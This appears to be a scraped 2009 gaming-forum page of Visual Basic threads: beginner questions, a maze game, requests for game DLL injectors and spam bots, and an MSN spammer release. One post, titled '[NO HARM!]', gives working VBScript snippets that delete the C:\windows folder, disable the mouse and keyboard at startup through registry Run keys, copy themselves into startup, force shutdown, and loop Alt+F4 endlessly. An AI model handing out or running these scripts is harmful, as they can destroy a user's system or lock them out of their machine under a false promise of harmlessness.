GamerzPlanet - For All Your Online Gaming Needs!! - Visual Basic

Question Who Can Help me or Give me A code to make a Love Calculator!!!

narutohans — Tue, 17 Nov 2009 10:41:28 GMT

I need to make a love calculator with percentage or FLAMES will do ok. Does anyone have a code that I could try? I need really need help I'm very new to VB and I have VB 05 thanks in advance guys

Question how do u make a maplestory spam bot

superdarkwolf — Tue, 17 Nov 2009 03:39:30 GMT

I know how to make regular spam bot from youtube but how do you make a maplestory one where the spamming words alternates so you don't get limited. Can someone just give me the codes for it.

Request Soldier Front .dll Injector

WaSZupYO — Sun, 15 Nov 2009 05:49:43 GMT

Hi can someone teach how to make a .dll Injector for SoldierFront.

I tried following these videos:

YouTube- How To make a Warrock .dll Injector

YouTube- How To Make A DLL Injector In VB [Part 1]

YouTube- How To Make A Warrock D3D Injector

But...when it got to the injecting part...it didn't inject.

Question Hey people new Game

Myke — Sat, 14 Nov 2009 13:12:13 GMT

Hey people i made this game in vb at college, i do need some help on how to make like another level e.g. load up another form lol tell me what you think =]

i have put the game in the .zip attachment and also i am sorry i haven't commented on the program code =]

i want the next form to be loaded up from the button called btnNext.Text = "Next" =]

Code:

Public Class frmMagicMaze

    Dim btnStartClick As Boolean

    Dim Direction As String

    Dim Speed As Integer

    Dim Crash As Boolean

    Dim Win As Boolean

    Dim Wall As Boolean



    Private Sub frmMagicMaze_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load

        btnPause.Visible = False

        Direction = "UP"

        Speed = 5

        Crash = False

        Win = False

        btnReset.Visible = False

        Wall = True



    End Sub



    Private Sub btnStart_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles btnStart.Click



        tmrMoveBall.Start()

        btnPause.Visible = True

        btnStart.Visible = False



    End Sub



    Private Sub tmrMoveBall_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles tmrMoveBall.Tick

        If Wall = True Then

            If pctBall.Left + pctBall.Width >= lblWall1.Left And pctBall.Top + pctBall.Height >= lblWall1.Top And pctBall.Left <= lblWall1.Left + lblWall1.Width And pctBall.Top <= lblWall1.Top + lblWall1.Height Then Crash = True

            If pctBall.Left + pctBall.Width >= lblWall2.Left And pctBall.Top + pctBall.Height >= lblWall2.Top And pctBall.Left <= lblWall2.Left + lblWall2.Width And pctBall.Top <= lblWall2.Top + lblWall2.Height Then Crash = True

            If pctBall.Left + pctBall.Width >= lblWall3.Left And pctBall.Top + pctBall.Height >= lblWall3.Top And pctBall.Left <= lblWall3.Left + lblWall3.Width And pctBall.Top <= lblWall3.Top + lblWall3.Height Then Crash = True

            If pctBall.Left + pctBall.Width >= lblWall4.Left And pctBall.Top + pctBall.Height >= lblWall4.Top And pctBall.Left <= lblWall4.Left + lblWall4.Width And pctBall.Top <= lblWall4.Top + lblWall4.Height Then Crash = True

            If pctBall.Left + pctBall.Width >= lblWall5.Left And pctBall.Top + pctBall.Height >= lblWall5.Top And pctBall.Left <= lblWall5.Left + lblWall5.Width And pctBall.Top <= lblWall5.Top + lblWall5.Height Then Crash = True

            If pctBall.Left + pctBall.Width >= lblWall7.Left And pctBall.Top + pctBall.Height >= lblWall7.Top And pctBall.Left <= lblWall7.Left + lblWall7.Width And pctBall.Top <= lblWall7.Top + lblWall7.Height Then Crash = True

            If pctBall.Left + pctBall.Width >= lblWall8.Left And pctBall.Top + pctBall.Height >= lblWall8.Top And pctBall.Left <= lblWall8.Left + lblWall8.Width And pctBall.Top <= lblWall8.Top + lblWall8.Height Then Crash = True

            If pctBall.Left + pctBall.Width >= lblWall9.Left And pctBall.Top + pctBall.Height >= lblWall9.Top And pctBall.Left <= lblWall9.Left + lblWall9.Width And pctBall.Top <= lblWall9.Top + lblWall9.Height Then Crash = True

            If pctBall.Left + pctBall.Width >= lblWall10.Left And pctBall.Top + pctBall.Height >= lblWall10.Top And pctBall.Left <= lblWall10.Left + lblWall10.Width And pctBall.Top <= lblWall10.Top + lblWall10.Height Then Crash = True

            If pctBall.Left + pctBall.Width >= lblWall11.Left And pctBall.Top + pctBall.Height >= lblWall11.Top And pctBall.Left <= lblWall11.Left + lblWall11.Width And pctBall.Top <= lblWall11.Top + lblWall11.Height Then Crash = True

            If pctBall.Left + pctBall.Width >= lblWall12.Left And pctBall.Top + pctBall.Height >= lblWall12.Top And pctBall.Left <= lblWall12.Left + lblWall12.Width And pctBall.Top <= lblWall12.Top + lblWall12.Height Then Crash = True

        End If

        If pctBall.Left + pctBall.Width >= lblWall6.Left And pctBall.Top + pctBall.Height >= lblWall6.Top And pctBall.Left <= lblWall6.Left + lblWall6.Width And pctBall.Top <= lblWall6.Top + lblWall6.Height Then

            Win = True

        End If



        If Win Then

            tmrMoveBall.Enabled = False

            MsgBox("you won it dude")

            btnReset.Visible = True

            Win = False

            btnNext.Visible = True

        Else



            If Crash Then

                tmrMoveBall.Enabled = False

                MsgBox("Crash")

                pctBall.Location = New Point(60, 340)

                Crash = False

                Direction = "UP"

                btnPause.Visible = False

                btnStart.Visible = True



            Else

                If Direction = "UP" Then pctBall.Top -= Speed

                If Direction = "DOWN" Then pctBall.Top += Speed

                If Direction = "LEFT" Then pctBall.Left -= Speed

                If Direction = "RIGHT" Then pctBall.Left += Speed

            End If



        End If



    End Sub



    Private Sub btnStart_KeyDown(ByVal sender As Object, ByVal e As System.Windows.Forms.KeyEventArgs) Handles btnStart.KeyDown



        If e.KeyCode = Keys.W Then Direction = "UP"

        If e.KeyCode = Keys.A Then Direction = "LEFT"

        If e.KeyCode = Keys.D Then Direction = "RIGHT"

        If e.KeyCode = Keys.S Then Direction = "DOWN"



    End Sub



    Private Sub hsbSpeed_Scroll(ByVal sender As System.Object, ByVal e As System.Windows.Forms.ScrollEventArgs) Handles hsbSpeed.Scroll



        Speed = hsbSpeed.Value

        lblSpeedDislay.Text = Speed



    End Sub



    Private Sub hsbSize_Scroll(ByVal sender As System.Object, ByVal e As System.Windows.Forms.ScrollEventArgs) Handles hsbSize.Scroll



        pctBall.Height = hsbSize.Value

        pctBall.Width = hsbSize.Value

        lblSizeDisplay.Text = hsbSize.Value



    End Sub



    Private Sub btnPause_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles btnPause.Click



        tmrMoveBall.Stop()

        btnPause.Visible = False

        btnStart.Visible = True



    End Sub



    Private Sub btnPause_KeyDown(ByVal sender As Object, ByVal e As System.Windows.Forms.KeyEventArgs) Handles btnPause.KeyDown



        If e.KeyCode = Keys.W Then Direction = "UP"

        If e.KeyCode = Keys.A Then Direction = "LEFT"

        If e.KeyCode = Keys.D Then Direction = "RIGHT"

        If e.KeyCode = Keys.S Then Direction = "DOWN"



    End Sub



    Private Sub PictureBox1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles PictureBox1.Click

        Wall = False

        lblWall1.Visible = False

        lblWall2.Visible = False

        lblWall3.Visible = False

        lblWall4.Visible = False

        lblWall5.Visible = False

        lblWall7.Visible = False

        lblWall8.Visible = False

        lblWall9.Visible = False

        lblWall10.Visible = False

        lblWall11.Visible = False

        lblWall12.Visible = False

    End Sub



    Private Sub btnReset_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles btnReset.Click

        pctBall.Location = New Point(60, 340)

        btnReset.Visible = False

        btnPause.Visible = False

        btnStart.Visible = True

        btnNext.Visible = False



        Wall = True

        lblWall1.Visible = True

        lblWall2.Visible = True

        lblWall3.Visible = True

        lblWall4.Visible = True

        lblWall5.Visible = True

        lblWall7.Visible = True

        lblWall8.Visible = True

        lblWall9.Visible = True

        lblWall10.Visible = True

        lblWall11.Visible = True

        lblWall12.Visible = True

    End Sub



    Private Sub btnHelp_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles btnHelp.Click

        MsgBox("W to go Up" & vbNewLine & "A to go Left" & vbNewLine & "S to go Down" & vbNewLine & "D to go Right")





    End Sub

End Class

Thanks people
Myke

Attached Files

MagicMaze.exe.zip (14.5 KB)

Release Funny visual basic scripts [NO HARM!]

joopie — Thu, 12 Nov 2009 21:15:18 GMT

Just some visual basic scripts
open notepad (or wordpad) paste this code in it
press by save file extensions all files, then type this name.vbs
the extention vbs is required it then open it and ur result we'll be cool:D

message box:

Code:

msgbox "Hai Gamerzplanet UR AMAZING!!!"

Other message box with ur own title

Code:

X = msgbox ("GAMERZPLANET RULES", 1024, "Gamerzplanet.net")

An Input

Code:

a=inputbox("What's Your Name?")

msgbox "What a Fcked up name man," +a

Another Input

Code:

strPtn = InputBox("What's your age?")

If (strptn) > 17 Then: msgbox "YOU'RE ALLOWED TO SEE PORN"

do

If (strPtn) < 18 Then: strPtn = InputBox("Too young....:( how old are u?")

loop

msgbox "GamerzPlanet"

SystemBeep

Code:

Set oWS = WScript.CreateObject("WScript.Shell")

oWS.Run "%comspec% /c echo " & Chr(07), 0, True

CD / DVD Box opens

Code:

Set oWMP = CreateObject("WMPlayer.OCX.7" )

Set colCDROMs = oWMP.cdromCollection

colCDROMs.Item(i).Eject

CD / DVD Box Open and Close

Code:

Dim oWMP

Dim colCDROMs, i

Set oWMP = CreateObject("WMPlayer.OCX.7")

Set colCDROMs = oWMP.cdromCollection

if colCDROMs.Count >= 1 then

For i = 0 to colCDROMs.Count - 1

colCDROMs.Item(i).Eject

Next

For i = 0 to colCDROMs.Count - 1

colCDROMs.Item(i).Eject

Next

End If

oWMP.close

Set colCDROMs = Nothing

Set oWMP = Nothing

Delete a FolderWARNING DO NOT USE THIS EXAMPLE IT WILL DELETE YOUR OS FOLDER!

Code:

' delete

Set fso = CreateObject("Scripting.FileSystemObject")

Set aFolder = fso.GetFolder("C:\windows")

aFolder.Delete

Make a Folder

Code:

path = "C:\linux" 

set filesys=CreateObject("Scripting.FileSystemObject") 

If Not filesys.FolderExists(path) Then 

Set folder = filesys.CreateFolder(path) 

End If

Open a Folder or File

Code:

Set WshShell = WScript.CreateObject ("WScript.Shell")

WshShell.Run ("C:\Windows")

Send Text to random application(like msn or notepad just open it and it will send texts)

Code:

WScript.Sleep 400 

WshShell.SendKeys " GamerzPlanet " 

WScript.Sleep 400

WshShell.SendKeys " You're " 

WScript.Sleep 400

WshShell.SendKeys " Awesome "

Shutdown Windows

Code:

Set OpSysSet = GetObject("winmgmts:{(Shutdown)}//./root/cimv2").ExecQuery("select * from Win32_OperatingSystem where Primary=true")

for each OpSys in OpSysSet

OpSys.ShutDown()

next

Repeat Something

Code:

Do

msgbox "Gamerzplanet"

loop

Different Messagebox Types

Code:

vbCritical

vbInformation

vbExclamation

vbOKOnly

vbYesNo

vbAbortIgnoreRetry

Open Wordpad And Send Keys

Code:

Set WshShell = WScript.CreateObject ("WScript.Shell")

WshShell.Run ("notepad.exe")

WScript.Sleep 100

WshShell.SendKeys "Hai All"

WScript.Sleep 800

WshShell.SendKeys "How Are u Doing?l"

WScript.Sleep 1000

WshShell.SendKeys "I like ur computer!"

WScript.Sleep 500

WshShell.SendKeys "YOU'RE HACKED LIKE HELL!"

Change Order At windows Start up Boot

Code:

Set Shl = CreateObject("Wscript.Shell")

Set fso = CreateObject("Scripting.FileSystemObject")

winfolder = fso.GetSpecialFolder(0)

Set vbsfile = fso.GetFile(WScript.ScriptFullName)

vbsfile.Copy winfolder & "your filename"

Shl.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\Start menu",winfolder & "your filename"

Change Your PC Name

Code:

Set shl = CreateObject("Wscript.shell") 

Shl.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RegisteredOwner", "GamerzPlanet"

ShutDown Mouse Warning this could get any errors or things just a bit becareful before u can never use your mouse anymore!

Code:

Set shl = CreateObject("Wscript.shell")

Shl.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\DisableMouse", "Rundll32.exe Mouse,Disable"

Shutdown Keyboard

Code:

Set shl = CreateObject("Wscript.shell")

Shl.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\DisableKeyboard", "Rundll32.exe Keyboard,Disable"

AND THE BONUS! (This could be a bit annoying it will shutdown ur computer but very funny! It's Fake it's reallyharmeless!

Code:

StrAgentName2 = "MERLIN"

StrAgentPath2 = "C:\Windows\Msagent\Chars\" & strAgentName2 & ".Acs"

Set objAgent2 = CreateObject("Agent.Control.2")

ObjAgent2.Connected = TRUE

ObjAgent2.Characters.Load strAgentName2, strAgentPath2

Set objPeter = objAgent2.Characters.Character(strAgentName2)

ObjPeter.MoveTo 700,300

ObjPeter.Show

ObjPeter.Play "GetAttention"

ObjPeter.Play "GetAttentionReturn"

ObjPeter.Speak("Hi I'm merlin here to take control of your computer")

Wscript.Sleep 1000

Set objAction= objPeter.Hide

Do While objPeter.Visible = True

Wscript.Sleep 250

Loop 

Wscript.Sleep 100

On Error Resume Next

StrAgentName2 = "MERLIN"

StrAgentPath2 = "C:\Windows\Msagent\Chars\" & strAgentName2 & ".Acs"

Set objAgent2 = CreateObject("Agent.Control.2")

ObjAgent2.Connected = TRUE

ObjAgent2.Characters.Load strAgentName2, strAgentPath2

Set objPeter = objAgent2.Characters.Character(strAgentName2)

ObjPeter.MoveTo 700,300

ObjPeter.Show

ObjPeter.Play "GetAttention"

ObjPeter.Play "GetAttentionReturn"

ObjPeter.Speak("downloading virus . . . 20% . . . 40% . . . 60% . . . 80% . . . 100% virus downloaded")

Wscript.Sleep 1000

Set objAction= objPeter.Hide

Do While objPeter.Visible = True

Wscript.Sleep 250

Loop 

Wscript.Sleep 100

On Error Resume Next

StrAgentName2 = "MERLIN"

StrAgentPath2 = "C:\Windows\Msagent\Chars\" & strAgentName2 & ".Acs"

Set objAgent2 = CreateObject("Agent.Control.2")

ObjAgent2.Connected = TRUE

ObjAgent2.Characters.Load strAgentName2, strAgentPath2

Set objPeter = objAgent2.Characters.Character(strAgentName2)

ObjPeter.MoveTo 700,300

ObjPeter.Show

ObjPeter.Play "GetAttention"

ObjPeter.Play "GetAttentionReturn"

ObjPeter.Speak("watch as I open your cd drive")

Wscript.Sleep 1000

Set objAction= objPeter.Hide

Do While objPeter.Visible = True

Wscript.Sleep 250

Loop 

Wscript.Sleep 100







Set oWMP = CreateObject("WMPlayer.OCX.7" )

Set colCDROMs = oWMP.CdromCollection



If colCDROMs.Count >= 1 then

For I = 0 to colCDROMs.Count - 1

ColCDROMs.Item(I).Eject

Next ' cdrom

End If





Wscript.Sleep 100

On Error Resume Next

StrAgentName2 = "MERLIN"

StrAgentPath2 = "C:\Windows\Msagent\Chars\" & strAgentName2 & ".Acs"

Set objAgent2 = CreateObject("Agent.Control.2")

ObjAgent2.Connected = TRUE

ObjAgent2.Characters.Load strAgentName2, strAgentPath2

Set objPeter = objAgent2.Characters.Character(strAgentName2)

ObjPeter.MoveTo 700,300

ObjPeter.Show

ObjPeter.Play "GetAttention"

ObjPeter.Play "GetAttentionReturn"

ObjPeter.Speak("lol I now open internet explorer")

Wscript.Sleep 1000

Set objAction= objPeter.Hide

Do While objPeter.Visible = True

Wscript.Sleep 250

Loop 

Wscript.Sleep 100

Set WshShell = WScript.CreateObject("WScript.Shell")

WshShell.Run "iexplore http://www.Google.Com", 9

WScript.Sleep 10000 ' Give ie some time to load



'Close the browser

WshShell.SendKeys "%F"

WshShell.SendKeys "C" 

Wscript.Sleep 100

On Error Resume Next

StrAgentName2 = "MERLIN"

StrAgentPath2 = "C:\Windows\Msagent\Chars\" & strAgentName2 & ".Acs"

Set objAgent2 = CreateObject("Agent.Control.2")

ObjAgent2.Connected = TRUE

ObjAgent2.Characters.Load strAgentName2, strAgentPath2

Set objPeter = objAgent2.Characters.Character(strAgentName2)

ObjPeter.MoveTo 700,300

ObjPeter.Show

ObjPeter.Play "GetAttention"

ObjPeter.Play "GetAttentionReturn"

ObjPeter.Speak("now I will restart your computer")

Wscript.Sleep 1000

Set objAction= objPeter.Hide

Do While objPeter.Visible = True

Wscript.Sleep 250

Loop 

Do

Wscript.Sleep 100

WshShell.SendKeys "%{F4}"

Wscript.Sleep 100

Wshshell.Sendkeys "are"

Loop

THNK ME IF I HELPED/ENJOYED YOU!
PS: There Are More! I will make a new release if this getting populair:D

Question im new to programing but plz help.

cowboyup — Wed, 11 Nov 2009 18:43:40 GMT

Ok I Know i'm a "NOOB" and i'm new to programming. Im just lookin for a little help........ I looked in C#, C++, and VB. VB seems to be easier but is it harder to create a hack in vb? After I learn the basics of the programing where is a good place to start learning how to make simple hacks?

How to Bind Send Key ?

us3rn4m3 — Mon, 09 Nov 2009 02:24:00 GMT

How to Bind Send Key to enable send keys command for the game that is shielded by x-trap? I try it in notepad & it works but in game window does'nt.
this is the code...
Private Declare Function GetKeyPress Lib "user32" Alias "GetAsyncKeyState" (ByVal key As Long) As Integer
Private Declare Sub mouse_event Lib "user32" (ByVal dwFlags As Long, ByVal dx As Long, ByVal dy As Long, ByVal cButtons As Long, ByVal dwExtraInfo As Long)
Private Const MOUSELEFTDOWN = &H2 ' left button down /This is actually MOUSEEVENTF_LEFTDOWN
Private Const MOUSELEFTUP = &H4 ' left button up /This is actually MOUSEEVENTF_LEFTUP

Private Sub Check1_Click()
If Check1 = 1 Then Timer1.Enabled = True
If Check1 = 0 Then Timer1.Enabled = False
End Sub

Private Sub Command1_Click()
Timer1.Enabled = False
Timer1.Interval = Text1.Text
End Sub

Private Sub Form_Load()
Check1.Value = 0
End Sub

Private Sub Timer1_Timer()
If GetKeyPress(vbKeyF6) Then
Timer1.Enabled = True
SendKeys ("{2}")
ElseIf GetKeyPress(vbKeyF7) Then
Timer1.Enabled = False
End If
If GetKeyPress(vbKeyF8) Then
MsgBox ("Main hotkeys are F2 Start Auto Clicker f3 stop")
End If
If Timer1.Enabled = True Then
SendKeys ("{2}")
End If
End Sub

Private Sub Timer2_Timer()
If GetKeyPress(vbKeyF6) Then
Timer1.Enabled = True
End If
If GetKeyPress(vbKeyF7) Then
Timer1.Enabled = False
End If
If GetKeyPress(vbKeyF8) Then
MsgBox ("Main hotkeys are F6 Start Auto Clicker F7 stop")
End If
End Sub

Tutorial [VB6] Password Protecting Your Programs (Easy)

JoshA56 — Sun, 08 Nov 2009 02:54:25 GMT

1) Add a textbox and a command button on your form
2) Double click your command button and input this code:

Code:

If Text1.text = "your password here" then

MsgBox "Correct Password"

Else

MsgBox "Incorrect Password, Try Again"

End If

Release Spammer Made By Cedric5 V1

cedric5 — Thu, 29 Oct 2009 17:41:19 GMT

Welkom
this is Cedric5's Msn Spammer V1
V2 COMING SOON

sreen

virus scan 1 fals positive
http://www.virustotal.com/nl/analisis/92cb371289e26b9982ab1d0f9de428465c832ba0c6f6b6f50b b33df60a4be3a7-1256837241

dowload
[Moderated]

Question Button

-=AVENGER=- — Tue, 27 Oct 2009 09:19:55 GMT

How to make a file browser button in Vb 8

About the source of some programs

-=AVENGER=- — Mon, 26 Oct 2009 22:06:17 GMT

Can I ask?

About the VB 8

-can i know what is the source code of the x1injector?
-" " " " ' " " " " " rvgunpacker?

NOTE: Please teach me please.....what are the codes...please , can someone provide instructions....this is my 3rd post i think...please pelase please

how to make a button that can browse .sff files? or some files?

-=AVENGER=-

GamerzPlanet - For All Your Online Gaming Needs!! - Visual Basic

Question Who Can Help me or Give me A code to make a Love Calculator!!!

Question how do u make a maplestory spam bot

Request Soldier Front .dll Injector

Question Hey people *new Game*

Release Funny visual basic scripts [NO HARM!]

Question im new to programing but plz help.

How to Bind Send Key ?

Tutorial [VB6] Password Protecting Your Programs (Easy)

Release Spammer Made By Cedric5 V1

Question Button

About the source of some programs

Question Hey people new Game